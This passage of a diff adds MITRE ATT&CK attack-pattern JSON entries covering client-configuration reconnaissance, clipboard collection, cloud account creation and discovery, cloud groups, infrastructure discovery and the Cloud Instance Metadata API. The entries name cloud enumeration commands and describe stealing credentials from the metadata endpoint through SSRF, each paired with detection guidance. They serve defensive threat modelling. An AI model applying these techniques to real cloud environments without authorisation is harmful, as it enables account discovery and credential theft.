[PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \"The audit log was cleared\").", + "created": "2020-01-28T17:05:14.707Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Client Configurations", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:35:09.668Z", + "created": "2020-10-02T16:47:16.719Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c", + "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1592/004", + "external_id": "T1592.004", + "source_name": "mitre-attack" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "source_name": "ATT ScanBox" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-04-23T18:35:58.230Z", + "name": "Clipboard Data", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:25.967Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1115", + "external_id": "T1115", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/637.html", + "external_id": "CAPEC-637", + "source_name": "capec" + }, + { + "source_name": "MSDN Clipboard", + "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ms649012" + }, + { + "source_name": "Operating with EmPyre", + "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.", + "url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cloud Account", + "x_mitre_data_sources": [ + "User Account: User Account Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-16T12:47:00.192Z", + "created": "2020-01-29T17:32:30.711Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b", + "x_mitre_platforms": [ + "Azure AD", + "Office 365", + "IaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.", + "x_mitre_contributors": [ + "Praetorian", + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_detection": "Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1136/003", + "external_id": "T1136.003", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide", + "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.", + "source_name": "Microsoft O365 Admin Roles" + }, + { + "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d", + "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.", + "source_name": "Microsoft Support O365 Add Another Admin, October 2019" + }, + { + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html", + "description": "AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.", + "source_name": "AWS Create IAM User" + }, + { + "url": "https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554", + "description": "Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.", + "source_name": "GCP Create Cloud Identity Users" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory", + "description": "Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.", + "source_name": "Microsoft Azure AD Users" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cloud Account", + "x_mitre_data_sources": [ + "User Account: User Account Metadata", + "Command: Command Execution" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-16T12:54:41.133Z", + "created": "2020-02-21T21:08:36.570Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe", + "x_mitre_platforms": [ + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1087/004", + "external_id": "T1087.004", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft msolrolemember", + "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0" + }, + { + "source_name": "GitHub Raindance", + "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", + "url": "https://github.com/True-Demon/raindance" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "source_name": "Black Hills Red Teaming MS AD Azure, 2018", + "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + }, + { + "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html", + "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.", + "source_name": "AWS List Roles" + }, + { + "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html", + "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.", + "source_name": "AWS List Users" + }, + { + "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list", + "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.", + "source_name": "Google Cloud - IAM Servie Accounts List API" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cloud Accounts", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Metadata", + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-18T17:48:05.659Z", + "created": "2020-03-13T20:36:57.378Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", + "x_mitre_platforms": [ + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.", + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security" + ], + "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1078/004", + "external_id": "T1078.004", + "source_name": "mitre-attack" + }, + { + "url": "https://aws.amazon.com/identity/federation/", + "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.", + "source_name": "AWS Identity Federation" + }, + { + "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction", + "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.", + "source_name": "Google Federating GC" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs", + "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.", + "source_name": "Microsoft Deploying AD Federation" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cloud Groups", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Group: Group Enumeration", + "Group: Group Metadata", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.3", + "modified": "2021-06-25T12:13:37.940Z", + "created": "2020-02-21T21:15:33.222Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", + "x_mitre_platforms": [ + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", + "x_mitre_contributors": [ + "Regina Elwell", + "Isif Ibrahima" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1069/003", + "external_id": "T1069.003", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0", + "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.", + "source_name": "Microsoft Msolrole" + }, + { + "source_name": "GitHub Raindance", + "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", + "url": "https://github.com/True-Demon/raindance" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "source_name": "Black Hills Red Teaming MS AD Azure, 2018", + "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + }, + { + "url": "https://cloud.google.com/identity/docs/reference/rest", + "description": "Google. (n.d.). Retrieved March 16, 2021.", + "source_name": "Google Cloud Identity API Documentation" + }, + { + "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html", + "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", + "source_name": "AWS Get Bucket ACL" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cloud Infrastructure Discovery", + "x_mitre_data_sources": [ + "Instance: Instance Metadata", + "Instance: Instance Enumeration", + "Snapshot: Snapshot Metadata", + "Snapshot: Snapshot Enumeration", + "Cloud Storage: Cloud Storage Metadata", + "Cloud Storage: Cloud Storage Enumeration", + "Volume: Volume Metadata", + "Volume: Volume Enumeration" + ], + "x_mitre_version": "1.2", + "modified": "2021-09-02T14:42:19.761Z", + "created": "2020-08-20T17:51:25.671Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). \nSimilarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", + "x_mitre_contributors": [ + "Regina Elwell", + "Isif Ibrahima", + "Praetorian" + ], + "x_mitre_detection": "Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1580", + "external_id": "T1580", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html", + "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.", + "source_name": "Amazon Describe Instance" + }, + { + "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html", + "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.", + "source_name": "Amazon Describe Instances API" + }, + { + "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html", + "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", + "source_name": "AWS Get Public Access Block" + }, + { + "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list", + "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.", + "source_name": "Google Compute Instances" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "url": "https://expel.io/blog/finding-evil-in-aws/", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "source_name": "Expel IO Evil in AWS" + }, + { + "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "source_name": "Mandiant M-Trends 2020" + }, + { + "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html", + "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", + "source_name": "AWS Describe DB Instances" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-08T10:33:01.542Z", + "name": "Cloud Instance Metadata API", + "created": "2019-09-04T14:41:32.317Z", + "id": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1522", + "external_id": "T1522", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html", + "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.", + "source_name": "AWS Instance Metadata API" + }, + { + "source_name": "RedLock Instance Metadata API 2018", + "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", + "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cloud Instance Metadata API", + "x_mitre_data_sources": [ + "User Account: User Account Authentication" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-31T19:41:06.948Z", + "created": "2020-02-11T18:47:46.619Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3", + "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1552/005", + "external_id": "T1552.005", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html", + "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.", + "source_name": "AWS Instance Metadata API" + }, + { + "url": "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/", + "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.", + "source_name": "Krebs Capital One August 2019" + }, + { + "source_name": "RedLock Instance Metadata API 2018", + "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", + "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cloud Service Dashboard", + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-16T12:56:36.098Z", + "created": "2019-08-30T18:11:24.582Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f", + "x_mitre_platforms": [ + "Azure AD", + "Office 365", + "IaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1538", + "external_id": "T1538", + "source_name": "mitre-attack" + }, + { + "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard", + "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.", + "source_name": "Google Command Center Dashboard" + }, + { + "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html", + "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.", + "source_name": "AWS Console Sign-in Events" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cloud Service Discovery", + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Metadata", + "Cloud Service: Cloud Service Enumeration" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-16T12:57:03.837Z", + "created": "2019-08-30T13:01:10.120Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", + "x_mitre_platforms": [ + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)", + "x_mitre_contributors": [ + "Suzy Schapperle - Microsoft Azure Red Team", + "Praetorian" + ], + "x_mitre_detection": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service 